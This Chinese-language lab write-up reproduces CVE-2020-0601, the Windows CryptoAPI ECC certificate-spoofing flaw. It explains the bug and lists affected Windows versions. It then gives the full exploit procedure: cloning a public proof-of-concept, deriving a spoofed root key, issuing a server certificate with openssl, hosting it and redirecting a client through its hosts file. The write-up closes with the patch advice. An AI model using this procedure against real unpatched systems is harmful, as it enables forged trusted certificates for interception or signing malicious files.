CVE-2020-0601：微软核心加密库漏洞复现
一、漏洞介绍
受CVE2020-0601漏洞影响的系统，在验证证书签名时，在证书信用列表中查找受信任CA证书时出现乌龙。伪造的ECC CA证书可以被误认为可信任的证书，导致该伪造证书签名的文件能被系统信任。
比如，win10中证书MicrosoftECCProductRootCertificateAuthority.pem是在受信任的证书列表中。现在我们根据漏洞，利用算法公式制造出与该证书具有相同公钥和曲线参数的，除基点G不同的另外一个证书spoofed.pem。操作系统在验证签名时会将spoofed.pem证书认为是信任列表中的MicrosoftECCProductRootCertificateAuthority.pem证书，那么spoofed.pem签署的文件，系统自然就信任。
二、影响版本
目前，支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响，包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序。
三、复现过程
1）在win10开始菜单中输入certmgr.msc，并打开
2）导出一个根证书MicrosoftECCProductRootCertificateAuthority
选择Base64编码
3）下载poc程序
4）执行poc程序。该程序从导出的ECC证书中获取公钥值，然后生成私钥是1，G就是该公钥值的私钥文件
5）对比一下证书和生成私钥文件内容能更好理解
ECC证书中的公钥信息：
生成的私钥文件：
私钥值是1，对应的公钥值，G值和ECC证书中的公钥值是一样的。
6）利用生成的私钥文件生成一个自签名CA证书，然后签发一个下级服务证书
下级证书的私钥
7）把生成的下级证书cert.crt，其私钥文件cert.key和我们的ca文件spoofed_ca.crt一起放到HTTP服务器上，配置启用SSL
8）在客户机Win10下的hosts文件里添加配置，将自己服务器地址和域名配对。
设置PHP studyssl配置文件
9）最终使用微软浏览器或者IE浏览器访问此地址
四、修复方式
微软已发布补丁，更新即可
五、需要使用的命令行
git clone https://github.com/ollypwn/CVE-2020-0601.git ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer openssl x509 -in MicrosoftECCProductRootCertificateAuthority.cer -noout -text openssl ec -in spoofed_ca.key -noout -text openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt openssl ecparam -name secp384r1 -genkey -noout -out cert.key openssl req -new -key cert.key -out cert.csr openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000